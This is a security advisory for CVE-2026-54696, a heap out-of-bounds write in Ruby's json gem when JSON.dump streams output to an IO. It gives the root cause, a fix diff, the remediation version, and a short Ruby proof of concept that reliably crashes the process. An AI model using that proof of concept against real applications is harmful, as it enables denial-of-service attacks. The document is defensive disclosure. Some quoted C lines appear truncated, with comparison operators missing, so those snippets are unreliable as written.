CVE-2026-54696

Ruby json: JSON generator heap buffer overflow when streaming to an IO

Published

2026-07-23

Modified

2026-07-23

EPSS percentile

22%

Aliases

GHSA-x2f5-4prf-w687

Sources

github-advisory

Summary

### Summary `JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service. This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here. ### Details Root cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`. On the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the early return checks total capacity instead of remaining capacity: ```c if (RB_UNLIKELY(fb->io)) { if (fb->capa capa)) { return; } } ``` If `fb->len` already contains JSON syntax bytes, and a string flush has `16383 - fb->len ptr + fb->len, newstr, char, len); ``` The minimal fix is to compare against the remaining capacity: ```diff - if (RB_LIKELY(requested capa)) { + if (RB_LIKELY(requested capa - fb->len)) { return; } ``` ### PoC ```ruby require "json" require "stringio" io = StringIO.new big = "a" * 16385 big[16382] = '"' # escapable byte near the buffer boundary JSON.dump([big], io) ``` Verified results: ```text Ruby 4.0.5 / bundled json 2.18.0: malloc(): invalid size (unsorted) .../json/common.rb:956: [BUG] Aborted ruby/ruby master c78418b7a0 / json 2.19.8 / ASan: heap-buffer-overflow WRITE of size 16382 fbuffer_append_reserved ext/json/fbuffer/fbuffer.h:145 search_flush ext/json/generator/generator.c:139 convert_UTF8_to_JSON ext/json/generator/generator.c:231 raw_generate_json_string ext/json/generator/generator.c:922 cState_m_generate ext/json/generator/generator.c:1891 ``` Control: the same data through `JSON.dump([big])` without an IO argument returns normally. The bug is specific to the IO-streaming path. ### Impact A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through `JSON.dump(obj, io)` or `JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.

Affected packages

Remediation: Upgrade to 2.19.9 or later.

References

• https://github.com/advisories/GHSA-x2f5-4prf-w687